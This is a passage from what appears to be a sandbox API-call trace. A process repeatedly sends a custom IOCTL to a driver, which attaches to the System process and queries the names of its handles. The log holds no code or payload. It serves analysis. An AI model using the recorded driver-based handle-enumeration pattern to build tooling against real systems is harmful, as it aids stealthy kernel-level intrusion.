dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.148] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.148] PsAcquireProcessExitSynchronization () returned 0x0 [0130.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.148] ObReferenceObjectByHandle (in: Handle=0xffffffff800008cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003097ab0, HandleInformation=0x0) returned 0x0 [0130.148] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.149] PsReleaseProcessExitSynchronization () returned 0x2 [0130.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.149] ObQueryNameString (in: Object=0xfffffa8003097ab0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.149] ObfDereferenceObject (Object=0xfffffa8003097ab0) returned 0x2 [0130.149] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.149] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.149] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.149] PsAcquireProcessExitSynchronization () returned 0x0 [0130.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.149] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002508680, HandleInformation=0x0) returned 0x0 [0130.149] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.149] PsReleaseProcessExitSynchronization () returned 0x2 [0130.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.149] ObQueryNameString (in: Object=0xfffffa8002508680, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.149] ObfDereferenceObject (Object=0xfffffa8002508680) returned 0x2 [0130.149] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.149] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.149] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.149] PsAcquireProcessExitSynchronization () returned 0x0 [0130.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.149] ObReferenceObjectByHandle (in: Handle=0xffffffff800008e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800e75f050, HandleInformation=0x0) returned 0x0 [0130.149] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.149] PsReleaseProcessExitSynchronization () returned 0x2 [0130.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.149] ObQueryNameString (in: Object=0xfffffa800e75f050, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.150] ObfDereferenceObject (Object=0xfffffa800e75f050) returned 0x2 [0130.150] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.150] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.150] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.150] PsAcquireProcessExitSynchronization () returned 0x0 [0130.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.150] ObReferenceObjectByHandle (in: Handle=0xffffffff800008e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800e5ccde0, HandleInformation=0x0) returned 0x0 [0130.150] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.150] PsReleaseProcessExitSynchronization () returned 0x2 [0130.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.150] ObQueryNameString (in: Object=0xfffffa800e5ccde0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.150] ObfDereferenceObject (Object=0xfffffa800e5ccde0) returned 0x2 [0130.150] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.150] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.150] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.150] PsAcquireProcessExitSynchronization () returned 0x0 [0130.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.150] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002510bd0, HandleInformation=0x0) returned 0x0 [0130.150] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.150] PsReleaseProcessExitSynchronization () returned 0x2 [0130.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.150] ObQueryNameString (in: Object=0xfffffa8002510bd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.150] ObfDereferenceObject (Object=0xfffffa8002510bd0) returned 0x2 [0130.150] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.151] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.151] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.151] PsAcquireProcessExitSynchronization () returned 0x0 [0130.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.151] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800254c900, HandleInformation=0x0) returned 0x0 [0130.151] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.151] PsReleaseProcessExitSynchronization () returned 0x2 [0130.151] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.151] ObQueryNameString (in: Object=0xfffffa800254c900, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.151] ObfDereferenceObject (Object=0xfffffa800254c900) returned 0x2 [0130.151] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.290] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.290] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.290] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.290] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.290] PsAcquireProcessExitSynchronization () returned 0x0 [0130.290] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.291] ObReferenceObjectByHandle (in: Handle=0xffffffff800008fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800b97c3f0, HandleInformation=0x0) returned 0x0 [0130.291] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.291] PsReleaseProcessExitSynchronization () returned 0x2 [0130.291] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.291] ObQueryNameString (in: Object=0xfffffa800b97c3f0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.291] ObfDereferenceObject (Object=0xfffffa800b97c3f0) returned 0x2 [0130.291] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.291] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.291] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.291] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.291] PsAcquireProcessExitSynchronization () returned 0x0 [0130.291] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.291] ObReferenceObjectByHandle (in: Handle=0xffffffff80000900, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034881c0, HandleInformation=0x0) returned 0x0 [0130.291] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.291] PsReleaseProcessExitSynchronization () returned 0x2 [0130.291] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.291] ObQueryNameString (in: Object=0xfffffa80034881c0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.291] ObfDereferenceObject (Object=0xfffffa80034881c0) returned 0x2 [0130.291] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.291] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.291] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.292] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.292] PsAcquireProcessExitSynchronization () returned 0x0 [0130.292] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.292] ObReferenceObjectByHandle (in: Handle=0xffffffff80000904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800226f050, HandleInformation=0x0) returned 0x0 [0130.292] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.292] PsReleaseProcessExitSynchronization () returned 0x2 [0130.292] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.292] ObQueryNameString (in: Object=0xfffffa800226f050, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.292] ObfDereferenceObject (Object=0xfffffa800226f050) returned 0x2 [0130.292] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.292] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.292] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.292] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.292] PsAcquireProcessExitSynchronization () returned 0x0 [0130.292] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.292] ObReferenceObjectByHandle (in: Handle=0xffffffff80000910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800e5ccb60, HandleInformation=0x0) returned 0x0 [0130.292] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.292] PsReleaseProcessExitSynchronization () returned 0x2 [0130.292] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.292] ObQueryNameString (in: Object=0xfffffa800e5ccb60, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.292] ObfDereferenceObject (Object=0xfffffa800e5ccb60) returned 0x2 [0130.292] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.292] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.292] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.292] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.292] PsAcquireProcessExitSynchronization () returned 0x0 [0130.292] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.293] ObReferenceObjectByHandle (in: Handle=0xffffffff80000918, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023e0860, HandleInformation=0x0) returned 0x0 [0130.293] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.293] PsReleaseProcessExitSynchronization () returned 0x2 [0130.293] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.293] ObQueryNameString (in: Object=0xfffffa80023e0860, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.293] ObfDereferenceObject (Object=0xfffffa80023e0860) returned 0x2 [0130.293] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.293] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.293] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.293] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.293] PsAcquireProcessExitSynchronization () returned 0x0 [0130.293] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.293] ObReferenceObjectByHandle (in: Handle=0xffffffff80000920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002277340, HandleInformation=0x0) returned 0x0 [0130.293] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.293] PsReleaseProcessExitSynchronization () returned 0x2 [0130.293] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.293] ObQueryNameString (in: Object=0xfffffa8002277340, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.293] ObfDereferenceObject (Object=0xfffffa8002277340) returned 0x2 [0130.293] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.293] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.293] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.293] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.293] PsAcquireProcessExitSynchronization () returned 0x0 [0130.293] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.294] ObReferenceObjectByHandle (in: Handle=0xffffffff80000924, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002350860, HandleInformation=0x0) returned 0x0 [0130.294] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.294] PsReleaseProcessExitSynchronization () returned 0x2 [0130.294] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.294] ObQueryNameString (in: Object=0xfffffa8002350860, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.294] ObfDereferenceObject (Object=0xfffffa8002350860) returned 0x2 [0130.294] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.294] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.294] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.294] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.294] PsAcquireProcessExitSynchronization () returned 0x0 [0130.294] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.294] ObReferenceObjectByHandle (in: Handle=0xffffffff80000934, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800dea31f0, HandleInformation=0x0) returned 0x0 [0130.294] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.294] PsReleaseProcessExitSynchronization () returned 0x2 [0130.294] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.294] ObQueryNameString (in: Object=0xfffffa800dea31f0, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.294] ObfDereferenceObject (Object=0xfffffa800dea31f0) returned 0x2 [0130.294] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.294] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.294] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.294] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.294] PsAcquireProcessExitSynchronization () returned 0x0 [0130.294] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.294] ObReferenceObjectByHandle (in: Handle=0xffffffff80000938, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024f8b60, HandleInformation=0x0) returned 0x0 [0130.294] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.294] PsReleaseProcessExitSynchronization () returned 0x2 [0130.295] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.295] ObQueryNameString (in: Object=0xfffffa80024f8b60, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.295] ObfDereferenceObject (Object=0xfffffa80024f8b60) returned 0x2 [0130.295] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.295] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.295] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.295] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.295] PsAcquireProcessExitSynchronization () returned 0x0 [0130.295] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, 